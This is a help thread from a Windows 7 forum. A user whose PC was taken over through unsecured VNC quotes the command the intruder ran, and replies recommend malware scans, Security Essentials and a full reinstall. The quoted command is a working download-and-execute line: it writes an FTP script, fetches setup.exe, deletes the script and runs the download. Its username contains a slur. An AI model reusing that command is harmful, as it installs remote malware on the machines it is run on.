Windows 7 Forums

Welcome to Windows 7 Forums. Our forum is dedicated to helping you find support and solutions for any problems regarding your Windows 7 PC be it Dell, HP, Acer, Asus or a custom build. We also provide an extensive Windows 7 tutorial section that covers a wide range of tips and tricks.

Windows 7: System hacked somehow - what to do?

23 Feb 2011   #1

Win 7 64bit
System hacked somehow - what to do?

Strangest thing - last couple of days, whenever I have VNCd into my HTPC the task manager has been open. It's a new build, so I assumed it was just a quirk and I would get around to fixing it...

This morning, I VNC in and the Run window is open with a message 'u got owned' and the following command had been run previously:

"cmd /c echo open 21 >> ik &echo user nigga temp >> ik &echo binary >> ik &echo get setup.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &setup.exe &exit"

Now Windows Defender is popping up with a severe trojan threat: TrojanDownloader:BATFtper.gen

Obviously I have removed it, bit WTF? How did this get past Windows Firewall and Windows Defender in the first place?

My System SpecsSystem Spec
23 Feb 2011   #2
Vino Rosso

Windows 7 Pro

Depending on what VNC program you used and whether you set up a secure pipe within, basic VNC is unsecure and open to abuse. It's likely that the firewall and Windows Defender will have been 'told' to open a port to allow the VNC to work.

Download Malwarebytes Anti-Malware and run a full scan...

Malwarebytes' Anti-Malware (MBAM)
Please go here: Malwarebytes' Anti-Malware Free Download and Reviews - Fileforum and download Malwarebytes Anti-Malware and save it to your desktop.
  • Make sure you are connected to the Internet.
  • Double-click on mbam-setup.exe to install the application.
  • When the installation begins, follow the prompts and do not make any changes to default settings.
  • When installation has finished, make sure you leave both of these checked:
    • Update Malwarebytes' Anti-Malware
    • Launch Malwarebytes' Anti-Malware
  • Then click Finish.
  • MBAM will automatically start and you will be asked to update the program before performing a scan. If an update is found, the program will automatically update itself. Press the OK button to close that box and continue. If you encounter any problems while downloading the updates, manually download them from >here< and just double-click on mbam-rules.exe to install.
  • On the Scanner tab:
    • Select "Perform Full Scan" then click on the Scan button.
  • If asked to select the drives to scan, leave all the drives selected and click on the Start Scan button.
  • The scan will begin and "Scan in progress" will show at the top. It may take some time to complete so please be patient.
  • When the scan is finished, a message box will say "The scan completed successfully. Click 'Show Results' to display all objects found".
  • Click OK to close the message box and continue with the removal process.
  • Back at the main Scanner screen, click on the Show Results button to see a list of any malware that was found.
  • Make sure that all items are ticked/checked except items in the C:\System Volume Information folder and click on Remove Selected.
  • When removal is completed, a log report will open in Notepad and you may be prompted to restart your computer. (see Note below)
  • The log is automatically saved and can be viewed by clicking the Logs tab in MBAM.
  • Copy and paste the contents of that report in your next reply and exit MBAM.
Note: If MBAM encounters a file that is difficult to remove, you will be presented with 1 of 2 prompts. Click OK to either and let MBAM proceed with the disinfection process. If asked to restart the computer, please do so immediately. Failure to reboot will prevent MBAM from removing all the malware.

This Trojan downloader (BATFtper.gen) is linked to rootkit activity therefore your machine has likely been compromised and there is no way to be sure the computer can ever be trusted again. It is dangerous and incorrect to assume the computer is secure even if the malware appears to have been removed. In some instances an infection may have caused so much damage to your system that it cannot be completely cleaned or repaired so you can never be sure that you have completely removed a rootkit. The malware may leave so many remnants behind that security tools cannot find them. Tools that claim to be able to remove rootkits cannot guarantee that all traces of it will be removed. Many experts in the security community believe that once infected with this type of malware, the best course of action is to wipe the drive clean, reformat and reinstall the OS. Please read:
My System SpecsSystem Spec
23 Feb 2011   #3
Borg 386

Win 7 32 Home Premium, Win 7 64 Pro, Win 8.1, Win 10

You may want to consider d/l ing Microsoft Security Essentials, once it's updated, do a full system scan. Security Essentials combines Defender functions with real time virus protection.

It would be a good idea to do a full system scan to be sure you've removed the entire infection. Anytime you have had an infection, assuming you've removed without throughly checking the system can lead to some nasty surprises down the road.

Also, a scan with Microsoft Malicious Software Removal Tool on a regular basis would be a good idea.
My System SpecsSystem Spec

23 Feb 2011   #4

Windows 7 Ultimate x64

Format and reinstall. Why take chances on something that has been compromised?
My System SpecsSystem Spec

 System hacked somehow - what to do?

Thread Tools Search this Thread
Search this Thread:

Advanced Search

Similar help and support threads
Thread Forum
help with removing trojans etc. My system has been hacked
hi all. I just found out my system has been hacked for sometime now. i can't even get into my email. Is there anything i can do myself with spending alot of money on a professional? Programs? sites? anything i can try? I don't have 200 dollars right now to have a pro do it. any help is...
System Security
Hacked or Not???
Before connecting to net when I type netstat -a in cmd I get this report: Microsoft Windows Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\Subhadeep>netstat -a Active Connections Proto Local Address Foreign Address State
System Security
how to detect a system is hacked (and now,is a zombi)
Hello every one. nice job. I use 128kbps ADSL to connect to the Internet .About one weeks ago,every thing was O.K. and download speed was as usual. But now,the download and surfing speed is significantly reduced and the download speed is 48kbps:( I don't know why,but I think because of using...
System Security
Have i been hacked?
first of all hello to everyone.. i had a problem that made me a little bit to concern.. suddenly without making anything in my pc...the windows taskbar change color and from transparent went to blue...after some minutes there was again a change and everything went back to normal.. have i...
General Discussion

Our Sites

Site Links

About Us

Find Us

Windows 7 Forums is an independent web site and has not been authorized, sponsored, or otherwise approved by Microsoft Corporation. "Windows 7" and related materials are trademarks of Microsoft Corp.

Designer Media Ltd

All times are GMT -5. The time now is 09:06.

Twitter Facebook Google+

Windows 7 Forums

Seven Forums Android App Seven Forums IOS App